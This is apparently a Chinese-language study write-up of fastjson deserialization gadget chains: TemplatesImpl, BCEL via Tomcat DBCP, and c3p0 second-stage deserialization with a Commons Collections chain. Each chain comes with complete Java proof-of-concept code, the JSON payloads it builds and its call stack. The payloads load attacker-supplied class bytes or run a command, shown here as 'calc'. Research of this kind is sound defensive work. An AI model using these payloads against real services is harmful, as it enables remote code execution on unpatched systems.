TemplatesImpl 链
影响范围
fastjson <= 1.2.24
缺点: 代码要开 Feature,因为CC3的后半段的字段都是public的,默认不支持,所以挺鸡肋的。
漏洞分析
漏洞本质:source 为 TemplatesImpl#getOutputProperties
,通过 fastjson 触发;sink 就是正常的CC3后半段链子,实现动态类加载,并且可以把恶意类写入 _bytecodes,从而实现不出网利用。
构造Exp的代码如下:
title:"Poc.java"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package Poc.templatesImpl;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64;
public class POC_1_2_24 { public static void main(String[] args) throws Exception{ String codes = ClassFile2Base64("D:\\Security\\JavaSec\\EvilClass\\Calc.class"); String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String exp = String.format("{\"@type\":\"%s\",\"_bytecodes\": [\"%s\"],'_name':'jasper','_tfactory':{},'_outputProperties':{}}", className,codes); JSON.parse(exp, Feature.SupportNonPublicField); } public static String ClassFile2Base64(String filePath){ byte[] buffer = null; try { FileInputStream fis = new FileInputStream(filePath); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int n; while((n = fis.read(b))!=-1) { bos.write(b,0,n); } fis.close(); bos.close(); buffer = bos.toByteArray(); }catch(Exception e) { e.printStackTrace(); } Base64.Encoder encoder = Base64.getEncoder(); String value = encoder.encodeToString(buffer); return value; } }
|
函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| bytesValue:112, JSONScanner deserialze:136, ObjectArrayCodec parseArray:723, DefaultJSONParser deserialze:177, ObjectArrayCodec parseField:71, DefaultFieldDeserializer parseField:773, JavaBeanDeserializer deserialze:600, JavaBeanDeserializer deserialze:188, JavaBeanDeserializer deserialze:184, JavaBeanDeserializer parseObject:368, DefaultJSONParser parse:1327, DefaultJSONParser parse:1293, DefaultJSONParser parse:137, JSON parse:193, JSON main:13, Test1TemplatesImpl
|
BCEL 链
本质:实际就是 bcel 的 classloader 支持携带字节码进行类加载,所以用这个类可以不用访问外网实现类加载。
影响范围
- fastjson <= 1.2.47 or fastjson <= 1.2.24
- jdk < 8u251
漏洞所需依赖有下面两种,实际上只要有tomcat就可以了,因为tomcat自带tomcat-dbcp依赖:
tomcat 依赖,注意 payload 变化:<=tomcat7 source点是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
、>=tomcat8 source点 是 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>dbcp</artifactId> <version>6.0.53</version> </dependency>
|
commons-dbcp 依赖
1 2 3 4 5
| <dependency> <groupId>commons-dbcp</groupId> <artifactId>commons-dbcp</artifactId> <version>1.4</version> </dependency>
|
注意:poc 也分两种, fastjson 的不同版本,对应的 payload 构造和 source 点也不同。
漏洞分析
bcel exp for fastjson <= 1.2.24
title:"poc.java"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package Poc.bcel;
import com.alibaba.fastjson.JSON; import com.sun.org.apache.bcel.internal.classfile.Utility; import java.nio.file.Files; import java.nio.file.Paths;
public class POC_1_2_24 { public static void main(String[] args) throws Exception{ String evilClass = "D:\\Security\\JavaSec\\EvilClass\\Evil.class"; String code = file2bcelcode(evilClass); String payload = "{\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\n" + " \"driverClassName\": \"$$BCEL$$"+ code +"\"\n" + "}\n";
JSON.parseObject(payload); } public static String file2bcelcode(String classFilePath) throws Exception { byte[] bytecode = Files.readAllBytes(Paths.get(classFilePath)); return Utility.encode(bytecode, true); } }
|
一个经典的 fastjson 调用 getter,source 点是 BasicDataSource#getConnection
,同时设置 ClassLoader为bcel,sink 点是 BasicDataSource#createConnectionFactory
。
bcel 可以不出网进行动态类加载的原因:在 com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
中,如果 class_name
以 $$BCEL$$
开头,则会读取 class_name
后面的字节码并调用 define_class
进行类的加载。

所以攻击者可以把字节码写进 payload 里,从而实现不出网的动态类加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| defineClass:642, ClassLoader (java.lang) loadClass:163, ClassLoader (com.sun.org.apache.bcel.internal.util) loadClass:357, ClassLoader (java.lang) forName0:-1, Class (java.lang) forName:348, Class (java.lang) createConnectionFactory:2156, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) createDataSource:2061, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) getConnection:1543, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) get:451, FieldInfo (com.alibaba.fastjson.util) getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer) getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer) toJSON:902, JSON (com.alibaba.fastjson) toJSON:824, JSON (com.alibaba.fastjson) parseObject:206, JSON (com.alibaba.fastjson) main:27, POC_1_2_24 (Poc.bcel)
|
bcel exp for fastjson <= 1.2.47
title:"poc.java"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package Poc.bcel;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files; import java.nio.file.Paths;
public class POC_1_2_47 { public static void main(String[] args) throws Exception{ String evilClass = "D:\\Security\\JavaSec\\EvilClass\\Evil.class"; String code = file2bcelcode(evilClass); String payload = "{\n" + " \"xx\":\n" + " {\n" + " \"@type\" : \"java.lang.Class\",\n" + " \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" + " },\n" + " \"x\" : {\n" + " \"name\": {\n" + " \"@type\" : \"java.lang.Class\",\n" + " \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " {\n" + " \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" + " \"c\": {\n" + " \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\":\"$$BCEL$$"+code+"\"\n" + " }\n" + " } : \"xxx\"\n" + " }\n" + "}"; JSONObject jsonObject = JSON.parseObject(payload); jsonObject.toJSONString(); } public static String file2bcelcode(String classFilePath) throws Exception { byte[] bytecode = Files.readAllBytes(Paths.get(classFilePath)); return Utility.encode(bytecode, true); } }
|
这个版本踩坑,触发点不在 parseObject,而是得到反序列化后的对象, 再进行 jsonObject.toJSONString()
才会触发。
这个链子和上一个完全一样,不再赘述。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| defineClass:642, ClassLoader (java.lang) loadClass:163, ClassLoader (com.sun.org.apache.bcel.internal.util) loadClass:357, ClassLoader (java.lang) forName0:-1, Class (java.lang) forName:348, Class (java.lang) createConnectionFactory:2156, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) createDataSource:2061, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) getConnection:1543, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) write:-1, ASMSerializer_1_BasicDataSource (com.alibaba.fastjson.serializer) write:270, MapSerializer (com.alibaba.fastjson.serializer) write:44, MapSerializer (com.alibaba.fastjson.serializer) write:281, JSONSerializer (com.alibaba.fastjson.serializer) write:236, MapSerializer (com.alibaba.fastjson.serializer) write:44, MapSerializer (com.alibaba.fastjson.serializer) write:270, MapSerializer (com.alibaba.fastjson.serializer) write:44, MapSerializer (com.alibaba.fastjson.serializer) write:281, JSONSerializer (com.alibaba.fastjson.serializer) toJSONString:863, JSON (com.alibaba.fastjson) main:46, POC_1_2_47 (Poc.bcel)
|
参考链接
c3p0二次反序列化链
影响范围
fastjson < 1.2.47 ,payload 分两个,简单的可在低版本使用,复杂的可在 fastjson <1.2.47 的条件下使用。
漏洞分析
漏洞本质:通过fastjson触发setter设置userOverridesAsString
,source点是WrapperConnectionPoolDataSource的构造函数,其中会执行parseUserOverridesAsString(this.getUserOverridesAsString())
,经过一系列调用会到达 sink 点,一个反序列化方法com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray
,他会对userOverridesAsString
中的 bytecodes 做解码和反序列化。
所以我们的 payload 应该是一个 evil object 的序列化字符串,并对其进行相应的编码,在fastjson链子触发之后,会对这个evil serialize string 进行解码和反序列化,从而实现二次反序列化攻击,。下面的Poc使用的是 CC6的对象。
需要注意的是 WrapperConnectionPoolDataSource
本身并没有 userOverridesAsString
属性和其对应的 setter,但是它的父类 WrapperConnectionPoolDataSourceBase
有,所以链子才能够走通。

title:"POC_1_2_47.java"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
|
public class POC_1_2_47 { public static void main(String[] args) throws Exception { String hex = toHexAscii(tobyteArray(exp())); System.out.println(hex);
String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + ";\"," + "}"; JSON.parse(payload);
} public static Map exp() throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap1 = new HashMap<>(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Atkx"); HashMap<Object, Object> hashMap2 = new HashMap<>(); hashMap2.put(tiedMapEntry, "bbb"); lazyMap.remove("Atkx");
Class clazz = LazyMap.class; Field factoryField = clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer);
return hashMap2; }
}
|
函数调用栈,这里只给触发二次反序列化的第一次,后面的CC6就不放了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| deserializeFromByteArray:143, SerializableUtils (com.mchange.v2.ser) fromByteArray:123, SerializableUtils (com.mchange.v2.ser) parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl) vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0) fireVetoableChange:375, VetoableChangeSupport (java.beans) fireVetoableChange:271, VetoableChangeSupport (java.beans) setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) main:46, POC_1_2_47 (Poc.c3p0)
|
参考链接
Commons-io 写⽂件/webshell TODO
以后再来